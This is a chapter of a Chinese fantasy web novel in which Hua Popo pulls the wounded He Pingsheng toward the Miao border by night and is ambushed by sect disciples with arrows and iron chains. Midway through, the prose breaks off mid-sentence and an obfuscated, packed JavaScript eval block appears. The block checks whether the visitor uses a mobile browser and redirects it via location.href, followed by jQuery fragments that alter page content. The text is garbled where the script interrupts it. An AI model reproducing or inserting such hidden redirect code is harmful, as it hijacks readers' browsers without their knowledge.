随着纸扎人偶痕迹的消散,那原本直挺挺地躺在地上的阎十五尸体被风一吹,竟也随之烟消云散了。
“好厉害的纸蛊术!”何平生赞叹道。
“嗯。”花婆婆淡定回应道,深藏功与名。
何平生看着花婆婆看似平平无奇的侧脸,心想:若不是她今日白昼时终于醒了过来,岂不是一直不知道自己的身边竟然藏龙又卧虎?
除了仙门药王谷世家子宁晏安以外,竟还有着这样一位蛊术大师、隐藏大佬、前任苗疆大祭司?
天可怜见的,她原来还一直以为花婆婆就只是个苗疆出生的小手艺人而已。
何平生扁扁嘴,幽幽道:“花婆婆,你为什么不早点告诉我你的身份啊。”
花婆婆脸上刚刚露出一丝歉意之色,就听到何平生继续说道:“害得我之前一直以为咱家很穷,平日里吃饭都只敢吃一碗,不敢多添饭。你要早说,我每顿吃三碗饭配红烧肉不带停的。”
花婆婆:“……”
有毒啊,现在是说这个的时候吗?
花婆婆无奈挑眉道:“知道了,之前是我错了,怪我,以后必定改正。”
随后,她面色严肃起来,对着何平生问道:“平生,情况有变,我们恐怕是不能就这样待在这里等清灼了。”
“那我们到哪里去?”
花婆婆看了看天色,眼下正是夜色浓重的时候,月亮已被半掩于云层之中,清辉浅淡。但天空之中,北斗七星的光芒尚且明亮,可以为人指明前进的方向。
“趁夜出发,往苗疆方向走。”花婆婆一锤定音道,“在天亮前,我们便要踏入苗疆疆域。”
她虔诚望天,祈祷道:“巫神在上,请护佑平生无虞,护佑我们皆平安!”
“轱辘轱辘,轱辘轱辘……”
板车车轮碾过湿润的青草地,垂下的衣角掠过沾满霜露的野生蕨草。
何平生裹着厚厚的被子,和藏念一同躺在垫了三层软垫的板车之上,几乎感觉不到颠簸。
而她们的身前,头发已然花白的花婆婆拉着板车,健步如飞,连一口粗气都不曾喘过。
不愧是一代苗疆大巫,这身体素质果然杠杠的,拉车又快又稳!
此时此刻,何平生完全理解了花婆婆为啥死活不让她自个儿赶路,非要拉着她上板车了。
人家不是客气,是真的打心眼儿认为何平生与其强行拖着个病躯自己走,还不如让她拉着,脚程还快得多。
此话确非妄言,只是人家对自己实力的正确认知罢了。
服了,真是服了。
“其实去苗疆也挺好的,我还没去过那儿呢,正好长长见识去!”何平生此刻精神不错,兴致颇高。
“你还真想去苗疆呢?可真稀奇!你们中原之人可大都对我们那儿避之不及呢。”
“能够养出花婆婆这般人物的地方,必是人杰地灵之所在,我怎么会不想去呢?”何平生不赞同道,“不过是一群庸俗之人的看法,您何必在意!”
“你这话,倒让我想起了一位故人,她也说过跟你差不多的话。”花婆婆的声音中夹杂着怀念之意,传入何平生的耳中,“那个时候,她约莫和你也是差不多的年纪,正是意气风发的时候。”
何平生好奇:“谁啊?”
“你的母亲——何知。”
晚星低垂,夜风温柔,轻柔抚过那持续多年、绵延不断的悠长思念。
林下漏月光,心绪乘山风之势,飘然而起,逸散开多年前的那一场心猿意马。
当年羞于说出口的青涩誓言,如今穷尽此生,怕是再也没有畅快吐露的机会了。
蔓草河在望,那里便是中原与苗疆的界河了。
河的那一边,便是苗疆绵延的群山。
故土,已近在眼前。
花婆婆刚松了一口气,却又忽然察觉到不对。
夜风掠过山林,带来草木的清香,也带来一丝若有似无、难以言喻的异样气息。
“咻——”
“咻——”
“咻——”
有数道羽箭自身后方向破空而来,目标直指行进中的花婆婆!
“铛——”
“铛——”
“铛——”
在花婆婆感应到危险的同时,窝在板车上的一人一刀也发现了箭矢的踪迹。何平生勉强驱动体内残余灵力,引导藏念飞跃至半空之中,在花婆婆背后四处游走。
一人一刀相互配合,或是直接以灵力注入刀锋斩断箭头,或是用宽厚刀面为其格挡住逼近的冷箭寒芒。
而花婆婆始终不曾回头,任凭背后冷箭愈发密集,汇集成凌厉箭雨,毫不留情地朝她攻来。
像是一张几乎完全拉紧了的弯弓,花婆婆手臂肌肉紧绷,将板车牢牢地控制在手里,朝着既定的方向全速前进。
她已不知疲惫,不惧危险,只知道自己需要更快地向前跑去,跑过蔓草河,跑进苗疆大地。而后,巍峨神山便自会庇佑它归乡的游子。
板车车轮已碾过泛着湿气的松软泥土,再往前行进不到十步,便进入蔓草河了!
“花无羁,停下!”
一声暴喝自背后山林袭来,那声音凌厉如刀,穿透夜风,直逼花婆婆后背。
然而花婆婆充耳不闻。
她的手臂肌肉绷得更紧,板车绳深深勒进掌心,只将全部心神凝聚在脚下的泥土之上。
板车行进至河滩边缘,眼看着就要成功扎进蔓草河的河水之中!
“哗啦,哗啦,哗啦……”
有九重玄铁锁链一路贴地蛇行而来,而后又一跃而出,牢牢束缚住花婆婆和何平生二人手脚,使其难以动弹。
“嗤——”
板车被迫紧急停下,险些被整个掀翻。
只有藏念没有被锁链束缚住。
但神兵有灵,藏念念主,绝不会独自离开。
它一下又一下地以刀身撞上玄铁,可惜以它如今力竭的状态,只能在玄铁表面擦出一点零星小火花而已,完全于事无补、无力回天。
“还不速速投降!”
背后放冷箭、搞偷袭的人悉数粉墨登场,他们穿着精致道袍,脸上满是大义凛然。
“幸有诸位同道仗义相助,慷慨借道,我仙门今日方能擒得贼子!”
为首之人是仙门清虚峰峰主薛饶,他长须美髯,看上去倒是一副仙风道骨之态。
“将她们带过来!”
薛饶等人自矜身份,并不亲自动手,而
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241381|197750||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是吩咐门下弟子前去拿人。
众人出动,明明目标只有两人一刀,但正道诸派弟子却是隐隐相争,互不相让,花花绿绿乱哄哄一堆人互相戒备着,朝着河滩方向行进。
“神兵在那里,我看到它了!”
“好想摸一摸。”
“嘻嘻,说不定很快便有机会了。”
诸多贪婪的目光落到藏念身上。藏念虽然愤怒,但它已全然力竭,无法再度发动攻击。
然而那些赤裸裸的欲念又实在让它难受,于是刀灵孩子似的就想往主人的衣襟之中躲去。
“咻——”
就在刀灵犹犹豫豫、扭扭捏捏、半躲不躲的时候,一只冷箭骤然射来。
因为袭击的距离太近,藏念甚至来不及反应,那箭头便直接刺入了何平生的心口之中。
“呃——”
何平生闷哼一声,下意识地便用手去捂。
然而箭竿却又被她伸来的手撞偏,箭头在伤口中搅动,带来二次伤害。涓涓鲜血大股涌出,染湿了箭竿,也瞬间浸湿了她胸前的衣衫。
“平生!”花婆婆猛然挣扎起来,粗重的玄铁锁链也被带得哗啦作响。
藏念先是一愣,随即便跟疯了似的,不管不顾地就要一头冲向那胆敢放箭的弟子。
“咚——”
还没等它靠近,薛饶便率先出手。一道凌厉术法袭来,藏念整把刀便被甩了回去,跌落到了板车之上。
“小辈,为何突然放箭?”
“薛峰主,这一老一小诡计多端,小人也是怕她们使诈,这才抢先动手的。小人心中有数,反正这何平生左右也是死不了的,不是吗?”
“你行事虽有缘由,但毕竟不妥,下次莫要如此作为了。”
“是。”
一番假模假式的训斥过后,那群弟子已近在眼前。
藏念委委屈屈地窝在板车上,不敢靠近主人寻求安慰,也没有力气再度发动进攻了。
它只能努力地散发出一点稀薄的煞气来,试图武装自己。
宛如一只被拔了利爪的小老虎,妄图靠哈气来吓退敌人。
“藏念,别怕。平生,你也别怕。”花婆婆忽然出声道。
在这样令人绝望的时候,她脸上的表情竟是别样的恬静淡然,甚至露出了一丝若有似无的笑意来。
而后,有潺潺鲜血,接连不断,自花婆婆的嘴角蜿蜒而下。
她的口中,已是一片骇然猩红。
血块翻飞,血色蠕动——她竟然生生咬断了自己的舌头!
鲜血满衣襟,纸片四散出。
“啊啊啊!啊啊啊!啊啊啊!”
以板车为中心,周围惊叫声此起彼伏。漫天纸片飘散,其散落之处,不断有弟子骤然全身僵硬倒下,直挺挺、硬邦邦,宛如一个一个大型的纸扎人偶!
“退后!退后!”
原本踌躇满志的众弟子们再也顾不上维持体面风度,个个四散奔逃,作鸟兽散!
原本手到擒来的局面,竟弄成这副样子,简直有失正道体面!
“花无羁,你好大的胆子!”
“冥顽不灵,不思悔改!”
伴随着薛饶的怒吼,一道极为凌厉的掌风轰然而至。